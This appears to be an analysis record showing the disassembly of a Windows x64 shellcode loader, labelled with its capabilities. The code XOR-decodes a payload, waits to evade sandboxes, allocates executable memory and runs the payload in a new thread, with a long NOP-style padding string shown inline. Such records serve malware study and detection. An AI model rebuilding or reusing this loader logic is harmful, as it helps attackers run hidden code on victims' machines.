Function at 0x140001d30
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x158], 0xfffffffffffffffe
mov rdx, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140001d5d
mov rdx, qword [rdx]
mov dword [rsp + 0x20], 1
lea rcx, [rbp - 0x50]
mov r8d, 0x20
mov r9d, 0x40
call fcn.140006e30
mov rax, qword [rbp - 0x50]
movsxd rax, dword [rax + 4]
test byte [rbp + rax - 0x40], 6
jne 0x140002263
mov rsi, qword [rbp + rax - 8]
xorps xmm0, xmm0
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0x100], xmm0
test rsi, rsi
je 0x140001e17
mov rax, qword [rsi + 0x38]
mov rax, qword [rax]
test rax, rax
je 0x140001dc2
mov rcx, qword [rsi + 0x50]
cmp dword [rcx], 0
jle 0x140001dc2
movzx eax, byte [rax]
jmp 0x140001dd0
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x140001e17
mov qword [rbp + 0xd0], 0
mov word [rbp + 0xd8], 1
mov qword [rbp + 0x110], rsi
mov byte [rbp + 0x118], 1
mov byte [rbp + 0x119], al
lea rcx, [rbp + 0xf0]
lea rdx, [rbp + 0x110]
lea r8, [rbp + 0xd0]
xor r9d, r9d
call fcn.1400083d0
jmp 0x140001e34
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
lea rcx, [rbp - 0x50]
call fcn.140002500
call fcn.14000a7b4
mov rsi, rax
call fcn.14000a798
mov rcx, rax
cmp rsi, 0x989680
jne 0x1400022b0
imul rsi, rcx, 0x64
mov qword [rbp + 0xd0], 0xbb8
lea rcx, [rbp + 0xd0]
call fcn.140002670
call fcn.14000a7b4
mov rdi, rax
call fcn.14000a798
mov rcx, rax
cmp rdi, 0x989680
jne 0x14000231b
imul rax, rcx, 0x64
sub rax, rsi
movabs rcx, 0xbce4217d2849cb25
imul rcx
mov rax, rdx
shr rax, 0x12
shr rdx, 0x3f
lea esi, [rax + rdx]
add esi, 0x7f149
mov edi, 0xb54
nop
call section..text
cmp edi, 0xc80
je 0x140001ed9
lea eax, [rsi + rdi]
inc edi
cmp eax, 0x7f148
jne 0x140001ec0
lea rcx, [rbp + 0xd0]
mov edx, 0x7f148
call fcn.140006c50
lea rsi, [rbp + 0x110]
lea rdx, [rbp + 0xf0]
lea r8, [rbp + 0xd0]
mov rcx, rsi
call fcn.140001530
mov rcx, qword [rbp + 0x128]
mov rax, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x120]
mov qword [rbp + 0x148], rdx
mov edx, 0x50
lea r8, str.909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
movaps xmm0, xmmword [0x140011040]
nop word cs:[rax + rax]
movaps xmm1, xmmword [rdx + r8 - 0x50]
xorps xmm1, xmm0
movaps xmm2, xmmword [rdx + r8 - 0x40]
xorps xmm2, xmm0
movaps xmmword [rdx + r8 - 0x50], xmm1
movaps xmmword [rdx + r8 - 0x40], xmm2
movaps xmm1, xmmword [rdx + r8 - 0x30]
xorps xmm1, xmm0
movaps xmm2, xmmword [rdx + r8 - 0x20]
xorps xmm2, xmm0
movaps xmmword [rdx + r8 - 0x30], xmm1
movaps xmmword [rdx + r8 - 0x20], xmm2
movaps xmm1, xmmword [rdx + r8 - 0x10]
xorps xmm1, xmm0
movaps xmm2, xmmword [rdx + r8]
xorps xmm2, xmm0
movaps xmmword [rdx + r8 - 0x10], xmm1
movaps xmmword [rdx + r8], xmm2
add rdx, 0x60
cmp rdx, 0xf50
jne 0x140001f40
xor byte [0x140017f00], 0xfe
cmp rcx, 0x10
cmovae rsi, rax
call section..text
lea rcx, [0x140012e48]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140018648], rax
lea rdi, [0x140018648]
mov r14, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rbx, [rbp + 0x130]
mov edx, 8
mov rcx, rdi
mov r8d, 0x40
mov r9, rbx
call r14
lea rax, [0x140001d20]
mov qword [0x140018648], rax
mov r8d, dword [rbp + 0x130]
mov edx, 8
mov rcx, rdi
mov r9, rbx
call r14
mov qword [rbp + 0x150], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp + 0x150]
lea r9, [rbp + 0x148]
mov rcx, rax
xor r8d, r8d
call fcn.140009540
mov rcx, qword [0x140018648]
test rcx, rcx
je 0x1400020a6
lea rdi, [rbp + 0x130]
mov edx, 8
mov r8d, 0x40
mov r9, rdi
call r14
mov qword [0x140018648], 0
mov r8d, dword [rbp + 0x130]
mov edx, 8
xor ecx, ecx
mov r9, rdi
call r14
call section..text
mov rdi, qword [rbp + 0x148]
mov rbx, qword [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs rax, 0x64616572685465
mov qword [rbp + 0xc5], rax
movabs rax, 0x6854657461657243
mov qword [rbp + 0xc0], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
call section..text
mov r8, qword [rbp + 0x150]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call rsi
mov rsi, rax
movaps xmm0, xmmword [str.WaitForSingleObject]
movaps xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x140], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call section..text
mov rcx, rsi
mov edx, 0xffffffff
call rdi
mov rax, qword [rbp + 0x128]
cmp rax, 0x10
jb 0x1400021d1
mov rcx, qword [rbp + 0x110]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400021cc
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002419
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400095c4
mov rax, qword [rbp + 0xe8]
cmp rax, 0x10
jb 0x140002216
mov rcx, qword [rbp + 0xd0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140002211
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002419
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400095c4
mov rax, qword [rbp + 0x108]
cmp rax, 0x10
jb 0x14000225b
mov rcx, qword [rbp + 0xf0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140002256
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002419
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400095c4
mov rax, qword [rbp - 0x50]
movsxd rax, dword [rax + 4]
lea rsi, [rbp + 0x60]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax - 0x50], rcx
mov rax, qword [rbp - 0x50]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax - 0x54], ecx
lea rcx, [rbp - 0x40]
call fcn.1400052a0
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x60], rax
mov rcx, rsi
call fcn.140009b00
nop
add rsp, 0x1e0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
cmp rsi, 0x16e3600
jne 0x140002382
movabs r9, 0xb2f4fc0794908cf3
mov rax, rcx
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
mov rsi, rdx
imul rax, r8, 0x3b9aca00
add rsi, rcx
mov rcx, rsi
shr rcx, 0x3f
sar rsi, 0x18
add rsi, rcx
add rsi, rax
jmp 0x140001e5e
cmp rdi, 0x16e3600
jne 0x140002398
movabs r9, 0xb2f4fc0794908cf3
mov rax, rcx
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
mov rax, rdx
imul rdx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x18
add rax, rcx
add rax, rdx
jmp 0x140001e96
mov rax, rcx
or rax, rsi
shr rax, 0x20
je 0x1400023ae
mov rax, rcx
cqo
idiv rsi
jmp 0x1400023b4
mov rax, rcx
or rax, rdi
shr rax, 0x20
je 0x1400023d8
mov rax, rcx
cqo
idiv rdi
jmp 0x1400023de
mov eax, ecx
xor edx, edx
div esi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x1400023ff
cqo
idiv rsi
mov rsi, rax
jmp 0x140002405
mov eax, ecx
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
je 0x14000240d
cqo
idiv rdi
jmp 0x140002411
xor edx, edx
div esi
mov esi, eax
add rsi, rcx
jmp 0x140001e5e
xor edx, edx
div edi
add rax, rcx
jmp 0x140001e96
call fcn.14000d770
int3